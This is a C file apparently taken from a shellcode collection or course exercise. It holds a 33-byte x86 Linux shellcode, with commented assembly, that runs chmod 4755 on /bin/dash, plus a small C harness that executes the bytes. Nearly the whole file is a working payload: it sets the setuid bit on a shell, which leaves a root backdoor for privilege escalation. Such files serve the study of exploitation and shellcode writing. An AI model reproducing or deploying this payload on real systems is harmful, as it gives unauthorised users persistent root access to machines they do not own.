47 lines
No EOL
867 B
C
47 lines
No EOL
867 B
C
/*
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Title: chmod 4755 /bin/dash
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Author: absolomb
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Website: https://www.sploitspren.com
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SLAE-ID: 1208
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Purpose: setuid bit on /bin/dash
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Tested On: Ubuntu 14.04
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Arch: x86
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Size: 33 bytes
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global _start
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section .text
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_start:
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cdq ; edx to 0
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push edx ; terminating NULL
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push 0x68736164 ; 'hsad'
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push 0x2f6e6962 ; '/nib'
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push 0x2f2f2f2f ; '////'
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mov ebx, esp ; point ebx to stack
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mov cx, 0x9ed ; 4755
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push 0xf ; chmod()
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pop eax
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int 0x80 ; execute chmod()
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push 0x1 ; exit()
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pop eax
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int 0x80 ; execute exit()
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*/
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#include<stdio.h>
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#include<string.h>
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unsigned char code[] = \
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"\x99\x52\x68\x64\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x66\xb9\xed\x09\x6a\x0f\x58\xcd\x80\x6a\x01\x58\xcd\x80";
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main()
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{
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printf("Shellcode Length: %d\n", strlen(code));
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int (*ret)() = (int(*)())code;
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ret();
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} |